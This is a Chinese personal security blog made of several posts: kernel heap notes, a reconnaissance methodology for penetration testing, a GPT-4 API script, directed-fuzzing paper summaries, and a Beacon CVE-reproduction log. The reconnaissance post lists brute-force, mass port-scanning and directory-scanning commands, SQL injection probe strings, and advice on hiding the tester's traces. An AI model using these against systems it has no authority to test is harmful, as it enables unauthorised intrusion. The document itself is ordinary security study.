<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FfuHU6xH9ldm9xxZJhDhn%2Fimage.png?alt=media&amp;token=e805dc2c-dc08-4636-99b1-b6c108b3ca5b" alt=""><figcaption></figcaption></figure>

### **附：Linux kernel heap feng shui in 2022 学习笔记**

*该文内容较杂，因此采用分点记录的方式。*

1. 该文总结了 allocator 的实现机制对堆利用的影响；
2. kernel 中两种常见的动态分配机制如下:
   1. General-purpose allocations performed using `kmalloc/kzalloc/...` API
   2. Special-purpose allocations via `kmem_cache_create/kmem_cache_alloc`
3. Slab 是 Linux 内核中的一种内存分配机制，用于高效地管理内核数据结构和对象的内存分配和释放。Slab 分配器的主要目标是减少内存分配和释放的开销，以提高系统性能。**Slab 分配器通过预分配一定大小的内存块并将它们组织成 slabs，然后在需要时分配这些内存块，从而减少了内存碎片和频繁的内存分配操作。**&#x53;lab 分配器通常管理多个 slab 缓存，每个缓存用于不同大小的内存块。这些缓存通常包括三种类型：
   1. Slab缓存：用于保存已分配的内存块。
   2. Slab未分配缓存：用于保存已分配但尚未使用的内存块，以便后续分配。
   3. Slab空闲缓存：用于保存完全未使用的内存块。
4. **对齐问题的潜在利用**：攻击者可以利用对齐问题来修改数据结构的大小，进而改变其行为。例如，他们可能故意构造一个对象，以便它与某个通用缓存别名化，从而可以操纵通用缓存并导致不安全操作。但安全机制近年来也在不断地更新：
   * `cred_jar` 在 kernel version > 4.4 的情况下加入 SLAB\_ACCOUNT 标签，使得其 standalone 免受其攻击。
   * 安全的函数（`copy_to_user` / `copy_from_user`）被逐步引入，更加严格的检测机制使漏洞利用难以下手。

     <figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FC5PvxlNevrckHbeKRpHI%2Fimage.png?alt=media&amp;token=6d80dfba-2041-46d2-b17d-67f0779e00ba" alt="" width="497"><figcaption></figcaption></figure>
   * *A freelist pointer randomisation `CONFIG_SLAB_FREELIST_RANDOM` was introduced in 4.8 and is now enabled by default on most modern distributions.*

### References

1. [系统理解 Arm Heap Exploitation](< https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/>)
2. [Understanding glibc malloc](https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/)
3. [glibc malloc source code](https://github.com/iromise/glibc/blob/master/malloc/malloc.c)
4. [了解 linux kernel heap](< https://www.blackhat.com/presentations/bh-usa-07/Ferguson/Whitepaper/bh-usa-07-ferguson-WP.pdf>)
5. [对以往 linux heap 的研究总结](<https://duasynt.com/blog/linux-kernel-heap-feng-shui-2022 >)
6. [ctfwiki-UAF](https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/use-after-free/)
7. [深入理解 heap exploitation](https://github.com/shellphish/how2heap)

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FtUZW4KjHBAzw5iIU1qfL%2Fimage.png?alt=media&amp;token=bbd04f36-2072-42f6-b116-348d0872ad6a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FkdY4HHbiUmHImr0cCgiU%2Fimage.png?alt=media&amp;token=bdcbce54-7049-48be-bcf0-8697149c3ea7" alt=""><figcaption><p>first contribution</p></figcaption></figure>


# 信息收集

## 前言

信息收集是渗透测试的前期工作，目的在于扩大目标的攻击面，为后续有针对性的测试做铺垫。笔者认为，**信息收集=流程+工具**，有了完整的流程加上趁手的工具，信息收集就可以实现\~\~自动化（\~\~无脑化），故整理了一套方法论，供读者参考。

以下内容摘自笔记，语言为英语，是因为实际工作中，我们必须时刻注意保护自己，尽可能减少特征（当然下面的笔记中有很明显的中国特征，是个错误示范）。比如工作设备不能被恶意的物理接触（e.g. u盘）、操作系统的时区、语言、敏感文件的存储、特定虚拟机只做特定的事、网络环境等等，这些内容由于与本 blog 不相关故不展开。

## 流程

> 前提：假定已知某个目标域名

* whois
* fuzzing top domain name
  * host="xxx" in fofa
  * search which domain has been taken in godaddy
* use tool to search specific target
  * fofa clue search
  * whois(whoxy, sqlsec.com)
    * similar domains
    * whois history
  * github.com: in:xxx
  * virustotal
  * CMS fingerprint
  * censys
  * netlas.io
  * beian.miit.gov.cn
  * error log
* find real ip
  * favicon hash
  * DNS record
  * ssl certificate
  * pingning from many places
  * search specific body
  * `ctrl + u` → related code → directory travel(try to change ip when acces denied)
  * nslookup
* scan related network address(e.g., 1.1.1.1 - 1.1.1.10)
  * don't miss website can't be access(state code: 3xx \~ 4xx)
* find all subdomain
* scan port && directory(special / rarely seen port or directory may match with specific exploitation)
  * duplicate
  * attack according to type
  * wanna dynamic file & admin interface, nor static file(check source code)
    * audit code and search "admin, login, ajax"
    * chrome developer tool
* discover bug & exp
  * login interface without verification, try **brute force**

## 工具

Register:

* [https://strongpassword.onionmail.org](https://strongpassword.onionmail.org/)
* [https://10minutemail.com](https://10minutemail.com/)

ip check:

* virustotal
* ip address: [https://pry.sh](https://pry.sh/)
* ASN: <https://ipinfo.io/AS3462>
* ping from many places: <https://tools.ipip.net/newping.php>
* except CDN: <https://www.cnblogs.com/qiudabai/p/9763739.html>
* favicon hash, body
* dns record
  * <https://sitereport.netcraft.com/>
  * [https://dnslytics.com](https://dnslytics.com/)
  * [https://passivedns.mnemonic.no](https://passivedns.mnemonic.no/)
* ssl certificate: search.censys.io
* engine: O.zone

passwd guess:

* online: Medusa, Hyrda
  * `medusa -h <ip_address> - admin -p admin -M 10443`
* offline: Hashcat

  > You cannot use hashcat to recover online accounts (like Gmail, Instagram, Facebook, Twitter, etc.), because hashcat has no way to work on online accounts.

port scan(/24 all are results):

* masscan, blackwater(**comprehensive** use, adjust **parameter**)

  ```
  blackwater -i x.x.x.x -c 400 -р 1-65535
  ​
  masscan -p1-65535 x.x.x.x/24 --exclude x.x.x.x-x.x.x.x --rate 800 > <result>
  ```
* Nmap(recognize fingerprint): `nmap -A <ip_address> -o ‹output_filename>`
* rustscan:

  ```
  alias rustscan='docker run -it --rm --name rustscan rustscan/rustscan: 2.1. 1'
  rustscan -a 127.0.0.1 -q --range 1-10000
  ```

bug scan: Nessus, Core Impact, Netsparker

Register:

* <https://strongpassword.onionmail.org/>
* <https://10minutemail.com/>

structure: Metasploit

directory(self-built websites && special path):

* dirmap:

  ```
  python3 dirmap.py -iF targets.txt -1cf
  python3 dirmap.py -i <url> -lcf
  ```
* dirsearch:

  ```
  python dirsearch.py -e php -u <url> --exclude-status 403,401 --deep-recursive -o <output_filename>
  ```
* dirb: `dirb <url> -0 <result>`

subdomain:

* oneforall(directory, parameter): `python3 oneforall.py --target <domain> --exclude www run --output`` ``<output_filename>`
* knockpy: `knockpy -d <domain> --recon --bruteforce --save report`
* google: `site: xxxxxx -www`
* fofa: domain="xxxxxx"
* [https://scan.javasec.cn](https://scan.javasec.cn/)
* <https://api.subdomain.center/?domian=>

search: fofa syntax

traffic listening: burp suite

http probe: <https://github.com/projectdiscovery/httpx>

regular express: <https://ihateregex.io/expr/url/>

picture: exiftool

version recognize: hash value && \* match

sql injection:

* manually
  * Determine whether there is injection and whether the injection is character or numeric(difference: `quotation marks` && `number of sql`)
    * trick: `1' or 1 = 1 #`, `1 or 1 = 1 #` → retum messge?
    * `sleep`
    * Guess the number of fields in the SQL query statement
    * Determine the order of displayed fields
  * Get target
    * current database
    * table
    * field names in the table
* `sqlmap`
* Defense
  * POD: user input is bound to the statement, separating it from the SQL query
  * Make sure only 1 result is returned
  * Anti-CSRF token


# GPT-4 初体验

### 前言

笔者目前正在学习编译原理，然而 gpt-3.5 不能对相关问题给出正确的解答，但恰巧好友吴给了笔者一个 gpt-4 的 key，借此机会探索一下 gpt-4 的潜能。

### 前置条件

1. 能访问外网的设备；
2. ChatGPT Plus or key。

为了满足条件 1，可通过搜索引擎检索关键词 `clash for windows` 获取相关的解决方案，并搭配相关的飞机场实现。值得一提的是，如果要实现在 terminal 当中访问外网，有以下两种方法。

* 方法一：修改 `~/.bashrc` 或 `~/.zshrc`文件，在此类 shell 配置文件中添加以下环境变量（注意替换 proxy\_ip 与 port 为读者实际使用的 proxy\_ip 与 port）。

  > export http\_proxy=<http://proxy\\_ip:port>
  >
  > export https\_proxy=<https://proxy\\_ip:port>

  <figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FwgERiUax6uBOLTNT6SVL%2Fimage.png?alt=media&amp;token=e8f08ad2-e006-4a85-947b-6899ca0dd841" alt=""><figcaption></figcaption></figure>

  * 添加环境变量之后，键入 `source ~/.bashrc` 或 `source ~/.zshrc`（取决于你使用的 shell 是 bash 还是 zsh 或者是其它 shell），刷新配置文件，使刚添加的环境变量生效。可使用  `wget google.com` 来测试是否成功访问外网。
* 方法二：使用 `proxychains` 工具。首先 `sudo apt install proxychains` 而后在 `/etc/proxychains.conf` 根据提示修改 proxy\_ip 和 port。修改完成后，对需访问外网的命令添加前缀 proxychains 即可。

为了满足条件2，请通过 [openai](https://openai.com/gpt-4) 官网订阅 `ChatGPT Plus` 或者购买 `key`。若读者购买了  `ChatGPT Plus` 可止步阅读于此，以下介绍的是关于 **key** 的配置与使用。

### 环境配置

请参考 openai 官网的 [Quickstart](https://platform.openai.com/docs/quickstart?context=python) 完成初始的环境配置。

### 初体验

创建一个 .py 文件（以 call.py 为例），示例代码如下。在 terminal 中键入`python3 call.py` 即可。

```python
# call.py

import os
import openai

openai.api_key = os.getenv("OPENAI_API_KEY") # 在环境变量中配置 OPENAI_API_KEY=key
                                             # 将 key 替换成在 openai 中获取到的实际值

def send_message(message):
    response = openai.ChatCompletion.create(
        model="gpt-4",
        messages=[
            {"role": "system", "content": "You are a helpful assistant."},
            *previous_messages,
            {"role": "user", "content": message},
        ]
    )

    assistant_response = response.choices[0].message["content"]

    previous_messages.extend([
        {"role": "user", "content": message},
        {"role": "assistant", "content": assistant_response},
    ])

    return assistant_response

previous_messages = []

while True:
    print("User: \n---------------")

    user_input = ""
    for line in iter(input, ''): # 为解决多行输入的问题，读者需要在确认输入时
                                 # 多按一次 Enter
        user_input += line + "   "
    
    assistant_response = send_message(user_input)
    assistant_response_lines = assistant_response.split('\n')

    print("---------------\nGPT-4: \n")

    for line in assistant_response_lines:
        print(line)
    
    print("---------------\n\n")
```

由于时间关系，笔者仅仅体验了 gpt-4 在数学推理方面的能力，结果非常的 **amazing**！不仅能够解出一元一次方程、一元二次方程、二元一次方程组，甚至能够求解定积分与不定积分！（ps：sinx/x 的不定积分不能用初等函数表示，但 gpt-4 依旧给出了正确的解！）

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FDAJcawFuu1gImWATRSvM%2Fimage.png?alt=media&amp;token=2b54e71b-4209-4dcc-b58d-3f6c13ce8c3c" alt=""><figcaption><p>求三次方程的解</p></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FKJfSUp3Hr9VPpAuC2PJ7%2Fimage.png?alt=media&amp;token=acd517a9-93cc-4c9e-82f9-c7c83aedd450" alt=""><figcaption><p>复杂的不定积分求解</p></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FKStmGjihK7EC8XpCGH38%2Fimage.png?alt=media&amp;token=11136fc9-cc48-4f12-ae35-e0e4abe1bc03" alt=""><figcaption><p>无法用初等函数表示的不定积分求解</p></figcaption></figure>


# 关于定向 fuzz 的总结

### 前言

笔者在之前的学习中接触过 beacon，利用其跑了一些实验，但是并不明白其原理。如今通过阅读了同类的 5 篇论文，对定向 fuzz 有了一些初步的认知，特此做一些总结。

### Hawkeye: Towards a Desired Directed Grey-box Fuzzer (2018)

**workflow**

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FGH1Iml0EHY8wOUyPS2MB%2Fc1a2b54da6e431e01ff4d5a77feb709.jpg?alt=media&amp;token=3ed6eea0-d913-435a-8feb-ae33457ffe23" alt=""><figcaption></figcaption></figure>

**思路**

面对 seed starve & miss target 的情况，决定对种子输入队列进行调整，在种子挑选中添加了平衡系数。此篇论文主要是在**工程**方面进行了优化，在前期的静态分析中采用了更为合理的度量方式，在中期的种子挑选中添加了平衡系数，在后期的种子变异中采用了动态调整的策略。

**特点**

> Equipped with a better evaluation of the distance between input execution traces and the user specified target sites, Hawkeye can precisely and adaptively adjust its seed prioritization, power scheduling as well as mutation strategies to reach the target sites rapidly.

***

### ParmeSan:Sanitizer-guided Greybox Fuzzing (2020)

**workflow**

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FqiV4SEEVjcDBW5RNFK7Q%2F1e51d2d2e526bfc3d9369f8261f8caa.jpg?alt=media&amp;token=becdbe0e-500a-4074-9ddf-3266725d1eea" alt=""><figcaption></figcaption></figure>

**思路**

现代编译器的潜能不止于检测 fuzzing 引起的条件错误，它还可以用于指导 fuzzing 的进程（包括挑选种子），从而使 fuzzing 找 bug 的效率能比肩找内存错误的效率，同时取得比现存 fuzzer 方案更少 TTE 的效果。\
其流程大致为：依赖 DFA(Data Flow Analysis) 去构建一个动态的 CFG(Control Flow Graph)，而后获得 distance metric 去指导 tareget acquistion 这一过程，最终使得 ParmeSan 能帮助 fuzzing 更快地逼近目标。

**特点**

> ParmeSan is able to target specific kinds of bugs based on the sanitizer used for target acquistion and can thus be used to fuzz applications more effectively.

***

### Constraint-guided Directed Greybox Fuzzing (2021)

**workflow**

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FZfxhHKNduZwkXjqiZ47S%2F1a02fef680f5568b5c73bef39343cb6.jpg?alt=media&amp;token=331b7815-2cae-47da-b3db-f8877665cada" alt=""><figcaption></figcaption></figure>

**思路**

对于现有 DGF 的 metric 提出了质疑，认为其在有特定顺序要求的多 target 场景表现效果不佳。因此提出了一种新的 metric，该 metric 主要由 ordered target site & data conditions 组成。ordered target site 主要是衡量当前 basic block 距离目标 basic block 还有多远，data conditions 主要用于衡量自定义的约束条件的满足情况。总体上来说，距离目标 basic block 越近、满足越多约束条件、满足之前从未被满足过的条件的这三类种子都会受到偏爱。

**特点**

> We attempts to satisfy the constraints in the specified order.

***

### Beacon: Directed Grey-Box Fuzzing with Provable Path Pruning (2022)

**workflow**

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F1G48lumtz7oczelkOUFr%2F655dde9782d04ec8a998673e45cfdb8.jpg?alt=media&amp;token=2655df50-c02e-4a37-9a8a-fcc6132f736a" alt=""><figcaption></figcaption></figure>

**思路**

现有的定向 fuzz 浪费了太多时间在不可达路径上，导致 fuzzing 效率低下（文中以 AFLGo 为例对此观点进行证明）。为了解决这个问题，Beacon 在 static analysis 阶段引入了两种方法：1.**relationship preservation**——在区间抽象中显式跟踪变量间关系；2.**bounded disjunction**——为了在反向传播中有选择地加入路径。通过这两种办法，可以提取、整合一系列规则，筛选出不符合规则的路径，从而直接剔除，避免做无用功，最终达到提高效率的目的。\
在**实操**的过程中，Beacon 要求先进行一步 precondInfer，其目的是为了计算最弱先决条件。然而在这一步会经常报 malformed 错误。结合论文猜测，malformed 应该是指 Beacon 将 program 转化成 SSA form 的时候出现了错误，从而无法进行可达性分析与静态分析。报 malformed 错误的时候，应该没执行到“定向”这一步。同时在 precondInfer 这一步，其后跟随着的 `-join-bound` 是指 Beacon 的 static analysis 阶段中 "Bounded Disjunction" 策略的 threshold 参数，一般默认设置为 5，该参数一般不会导致 malformed 错误。一旦出现了 malformed 的玄学错误，基本上针对该 program 的实验就无法继续进行而被迫中止了。

**特点**

> BEACON **prunes** the infeasible paths through instrumentation.

***

### SELECTFUZZ: Efficient Directed Fuzzing with Selective Path Exploration (2023)

**workflow**

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FMYSwCBESg05TlFTyqh7f%2F792695dc3093039e9c5bfad40c6f602.jpg?alt=media&amp;token=1a535f52-1f83-4683-bccf-db8a7e817cac" alt=""><figcaption></figcaption></figure>

**思路**

事实证明，永远选择最短路径并非最优解，根据概率去选择是一种更好的方式。SELECTFUZZ 的模式是具有代表性的。通过控制流图与数据流图，给 path 赋概率，找出 **Relevant**，在其附近插桩、设置 assertation、对不可达路径与可达路径区别对待，实现定向 fuzz 又快又准的理想。在其实现的过程中，SELECTFUZZ 重视插桩，强调**精准插桩**。

**特点**

> The result suggested that prioritizing inputs based on reaching probability is more efficient than always favoring the shortest code paths.

***

#### 总结

定向 fuzz 的 target 一般是待测 program 的某些特定代码，因此定向 fuzz 的目标是明确的。定向 fuzz 要做到的就是：**快且准**地验证 Poc / 复现漏洞。实现这一目标最复杂的地方在于：如何制定合理的规则去**定向**，从而引导 fuzzing 挑选、生成相关的 seed，使其尽快地去触发漏洞。

现今 fuzzer 的基本流程：

1. control / data flow;
2. reachability analysis;
3. forward / backward → make metric to choose seed;
4. assertation / prune to get closer to target.

新 fuzzer idea 的来源：

1. combination;
2. seed selection;
3. scenario solution;
4. project optimization.


# Beacon 实验

### 前言

Beacon 实验是指将目标软件编译成 .bc 文件后再喂给 fuzzer 的过程。基础知识主要涉及到 Beacon & LLVM。bitcode 是 LLVM IR 的二进制编码（IR 是前后端的一种中间层），主要包括 bitstream container format 和 encoding LLVM IR，前者是为后者如何进行编码提供帮助的。bitstream 和 LLVM IR 有各自的格式，用不同的参数去刻画文件，在过程中可通过 Abbreviations ID 来大致理解目前的文件流。

\
本实验是针对 [Beacon](https://qingkaishi.github.io/public_pdfs/SP22.pdf) 论文中提到的 51 个 CVE 进行复现，测量其性能，并与自身 fuzzer 进行对比。\
参考文档：[LLVM](https://llvm.org/docs/BitCodeFormat.html#llvm-ir-encoding) & [Beacon document](https://outstanding-hydrogen-2d1.notion.site/Beacon-documentation-8480ed4e7fff452a989f7e77ce749951)

### 实验过程

以下按流水线的方式，记录自己踩过的坑以及对应的 solution。

#### **环境配置**

1. 首先配置一个密钥，放在 authorized\_keys 下，然后配置 config，实现优雅的 `ssh <hostname>` 的 remote login；
2. 实验环境要求在 podman 下进行（类 docker）。首先拉取对应镜像，`podman run -d --init --name beacon docker.io/yguoaz/beacon:latest sleep infinity`，在拉取的过程中可能会遇到 insufficient pids or uids 的错误，可通过 `cat /proc/self/uid_map`、`cat /proc/self/gid_map` 来查看相应的情况。
3. 解决方案——添加参数 `--storage-opt ignore_chown_errors=true`。成功拉取 image 后，进入容器，为了编译得到 Clang bitcode ⽂件，需要使⽤ wllvm，通过 `python3 -m pip install wllvm` 安装。为了通过 tmux 运⾏ Beacon AFL（使 shell 与进程分离，类 nohup），需要使用 tmux，通过`apt update; apt install tmux` 安装。至此，初期的准备工作基本完成；

#### **获取目标软件并编译**

3. 可通过查询 NVD 的方式（以 CVE-2017-7578 为例），访问 `https://nvd.nist.gov/vuln/detail/CVE-2017-7578`，即可获取该 CVE 的相关信息。重点查看下方的 hyperlink，一般情况下可获得关于源码的指向。而后采用 git clone 的方式，获取源码，并用 git checkout 的方式切换到该 CVE 对应 patch 的前一个 comitID，以对该 CVE 进行下一步测试。注意，若有连续多个 commit 对该 CVE 进行 patch，应回退到最早 commit 之前的版本。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F9uU0TJNXPz0Ci6xkaXL8%2Fimage.png?alt=media&amp;token=8c7e9fa6-d3c9-48fe-bbcd-590d9a9ed260" alt="" width="563"><figcaption></figcaption></figure>

3. 查看源码路径下 README / INSTALL 之类的文件，获取编译该目标软件的方法，注意在编译的过程中要传递 wllvm 环境变量。一种可能的编译方式如下：

   ```bash
   export CC=wllvm
   export LLVM_COMPILER=clang
   ./autogen.sh
   ./configure --disable-shared
   make -j$(nproc)
   ```

   当然也可能需要使用 cmake 方案，具体要求参见 README / INSTALL 文件（比较玄学的一点是，对于某类编译方式，有可能一次编译不成功，但是经过多次尝试后就成功了）。编译成功后，得到对应的可执行程序，再使用 `extract-bc <target_name>` 获取 \*.bc 文件；

**使⽤ Beacon 提供的⽂件分析⼯具对 bc ⽂件进⾏处理**

5. 对于一个 \*.bc 文件，需要提供一个分析目标文件，可建⽴⼀个 target.txt ⽂件并写⼊定向⽬标（某⽂件的某⼀⾏）。对于目标的定向，可考虑以下四种角度：
   * 参考 NVD 官网的 Discription 部分，看该 CVE 是由于哪个文件的哪个漏洞函数触发的；
   * 观察 patch 部分的增删；
   * 参考 github 下的 issue；
   * google 相关信息。
6. 使用 `/Beacon/precondInfer <target_name>.bc -target-file=target.txt -join-bound=5`，对漏洞程序进行分析。若遇到 **malformed** 的错误，可尝试调整 `-target-file` 与 `-join-bound` 这两个参数，采用排列组合的方式试错。紧接着，通过 `/Beacon/Ins -output=<target_name>.bc -byte -blocks=bbreaches_target.txt -afl -log=log.txt -load=range_res.txt transed.bc` 对漏洞程序进行插桩。最后，重新编译插桩后的漏洞程序，`clang <target_name>.bc -o <target_name> -lm -lz /Beacon/Test/afl-llvm-rt.o`。因为之前设置了 `./configure --disable-shared`，所以可能导致重编译时，缺少相关的链接文件。此时可以使用 ldd 命令手动查看可执行文件的链接文件，而后手动补齐。也可以通过下载源代码，进一步编译共享库来解决这个问题；

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FFk5YYTdvpNicCsHmWugP%2F2103625830.png?alt=media&amp;token=4dfcd4d8-ef55-43cb-8a1d-0d738efe184c" alt=""><figcaption></figcaption></figure>

#### **模糊测试**

7. 启动一个 tmux 用于持续运行，`tmux -u new -s <tmux_name>`，进入模糊测试路径，并准备测试用例文件夹 in。对于 initial input，可参考以下顺序：

   ```bash
   /aflgo/scripts/fuzz/program_name/obj-aflgo/ 
   /aflgo/testcases/archives/exotic
   /aflgo/testcase 
   ```

   而后使用 `taskset -ac 4 /Beacon/afl-fuzz -i in -o out -m none -t 9999 -d -- ./<target_bin> @@`，其中，-ac 用来绑定 cpu，可提前使用 htop 命令查看 cpu 的具体使用情况。对于 -- 后面的参数，请参考 aflgo github 仓库中提供的 [\*.sh](https://github.com/aflgo/aflgo/tree/master/scripts/fuzz)。

#### **结果分析**

8. 对于在 24h 内能成功 fuzzing 出 crash 的 CVE，计算其首次触发 crash 的时间。通过时间戳进行计算，具体参考以下脚本：

   ```bash
   program=$1
   cveid=CVE-$2
   id=$3
   for num in {1..3} do
        # 获取首次触发 crash 的时间戳
        tmp_time1=$(date -r ~/"$program"/"$cveid"/fuzz/out1/crashes/"$id")
        time1=$(date -d "$tmp_time1" '+%s')

        # 获取 fuzzing 开始的时间戳
        tmp_time2=$(cat ~/"$program"/"$cveid"/fuzz/out1/fuzzer_stats | grep start_time)
        time2=${tmp_time2:20}

        # 得到时间差
        let time=time1-time2;

        # 实现时间单位从 s → h
        awk 'BEGIN{printf "%.4f\n", '$time'/'3600'}'
   done
   ```
9. 对于 fuzzing 出的 crash，进一步考察 beacon 对 target.txt 中提到的 vul 路径的定向能力，并计算首次成功匹配 vul 并确认执行的时间，具体参考以下脚本：

   ```bash
   #!/bin/bash

   program="$1"
   cveid="CVE-$2"
   address="$3"

   cd "./$program-$cveid/"

   # count.txt 记录命中数，以及命中 crash 的 id
   echo "$cveid:" >> count.txt

   for num in {1..3}; do
    success=0
    fail=0
    echo "reading from ./out$num/crashes/"
    echo "out$num:" >> count.txt

    # 逐个读取 ./out/crashes/ 下的文件名
    shopt -s globstar
    for line in ./out$num/crashes/*; do
        # 将 crash 喂给 CVE
        echo "reading from "$line""
        ../../../../../pin -t ../../obj-intel64/itrace.so -- "./$cveid" "$line"

        # 判断指令序列中是否有 func 对应的 address
        if grep -q "?*$address?*" ./itrace.out; then
            success=$((success+1))
            echo "hit_id: $(basename "$line")" >> count.txt
            break
        else
            fail=$((fail+1))
        fi
    done

    # 修正 fail，因为 README.txt 总是失败的
    fail=$((fail-1))
    echo "success times: $success" >> count.txt
    echo "fail times: $fail" >> count.txt
   done
   ```

   其主要思路为，用 pin 记录下所有执行地址，用 objdump -t 的方式提前从符号表中获取对应 func 的 address，最后用 grep 的方式进行匹配。在脚本运行的过程中，请注意程序是否陷入**死循环**，若出现此类情况，请及时退出并删除 crash，避免浪费大量时间。至此，实验结束。

### 结语

折腾即真理，在实验过程中反复被虐，不断寻求解决方案，从而拓展能力边界。也许人类进化的本质就是，在遇到某个问题要求的能力超出目前的可达范围，但是踮起脚尖又勉强能够到的情况下，大脑会申请一个进程，不断计算、进化，直到成功求解 / 中途手动 quit 该问题。晚上睡不着估计也是同理，大脑飞速运转，不停申请、调度资源，不允许后台运行，对褪黑素的敏感度下降，导致迟迟无法入眠……做这个实验三周以来，基本没怎么好好睡过觉。\
还有几点比较深的感受：将文件夹结构化；降低对事情进展的预期，因为每天都会碰上新问题；对于大量测试用例，注意构建自动化脚本。


# 对 AI 的认知

### 前言

自从去年 11 月份 ChatGPT 上线之后，有关 AI 的言论层出不穷。当接收的信息量过大时，会麻木到不加以辨别什么是“别人想让我看到、听到的”，什么又是“事实”，为纠正这样的思维模式，笔者特此梳理一下自身对于 AI 的认知。

### 发展历程

1943年，神经科学家沃伦·麦卡洛克与数学家沃尔特·皮茨发表了一篇跨时代的论文——《神经活动内在概念的逻辑演算》，第一次解释了大脑内部神经元的活动和数理逻辑演算之间的相似性。其后，Turing 提出了图灵机与图灵测试的概念，该想法来源于对“为什么机器不能像人一样思考、做决策”这一问题的追问，，开启了 AI 研究的先河。然而受制于当时的计算环境，没有可持续性存储器，机器无法存储过往学习的经验，同时其计算速度也极为有限，打造出“具有人一般智能”的机器只是个美好的愿景。

1956年，马文·明斯基，约翰·麦卡锡和另两位资深科学家克劳德·香农以及内森·罗彻斯特，这四位计算机巨佬组织开展**达特矛斯会议**，会议提出的断言之一是“学习或者智能的任何其他特性的每一个方面都应能被精确地加以描述，使得机器可以对其进行模拟”。此后，对于 AI 的研究进入黄金时代。

但是研究并非一帆风顺，在随后的几十年中，[关于 AI 的研究](https://zh.wikipedia.org/zh-sg/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E5%8F%B2)也几经沉浮。直到 1997 年 5 月，发生了一个广为人知的标志性事件——由 IBM 开发的 Deep Blue 击败了国际象棋世界冠军卡斯帕罗夫。此后 AI 的发展，步入一个新的阶段。

在国际象棋上 AI 击败了人类后，人们想试试看在围棋方面，AI 是否也能击败人类。毕竟围棋号称是人类有史以来发明的最复杂的游戏，其状态空间复杂度大约是 10^172，而国际象棋的状态空间复杂度大约是 10^47。结果横空出世的 AlphaGO 先是在 2016年 五局四胜击败韩国职业九段选手李世石，后是在 2017年 以三局全胜的战绩击败世界围棋排名第一的柯洁，从而潇洒离去退隐江湖，具体可参考赛后柯洁接受的[采访](https://www.youtube.com/watch?v=3Nrt6ytbFQM)。

当然，迄今为止最令人震撼的 AI 产品，无疑是 OpenAI 在去年发布的 ChatGPT，会写代码、会写情诗、还能为你制定健身计划……简直是个完美且通用的专家系统，这套知识框架 *"is absolutely amazing"*。很难想到有什么东西是它不会的，而且它是面向公众开放的，人人都可以体验，于是它在两个月内日活跃用户成功从零突破至数亿，在它之前没有任何一个产品能做到这一点。

ChatGPT 基于机器学习去产生 human-like text，换句话说，它是根据预训练的结果，结合概率去生成一段文本，实质上是 **token simulation**。其训练模式是：无监督学习（囫囵吞枣式学习预测，开销巨大，占据超过 99% 的训练时长） → 有监督学习（给模板说话） → 强化学习（人工微调）。

根据 Andrej Karpathy 在 Microsoft Build 2023 上的[演讲](https://www.bilibili.com/video/BV1X24y1A7Rz/?spm_id_from=333.1007.top_right_bar_window_history.content.click\&vd_source=68401e073d6cf69f6f72f1ad56c67eaf)，ChatGPT 的一些细节以 slides 的形式展示如下：

GPT 训练过程

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FkG6yLMfLzwPUsh3BzaWg%2Fimage.png?alt=media&amp;token=87121dc2-5ee9-4a61-a173-5b04ab89e1dd" alt=""><figcaption></figcaption></figure>

Token 的含义：

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FIwCDB6gNediUdzQRyuFE%2Fimage.png?alt=media&amp;token=fe19895d-16f1-45f2-9ff4-07d18c4cd542" alt=""><figcaption></figcaption></figure>

预训练过程：

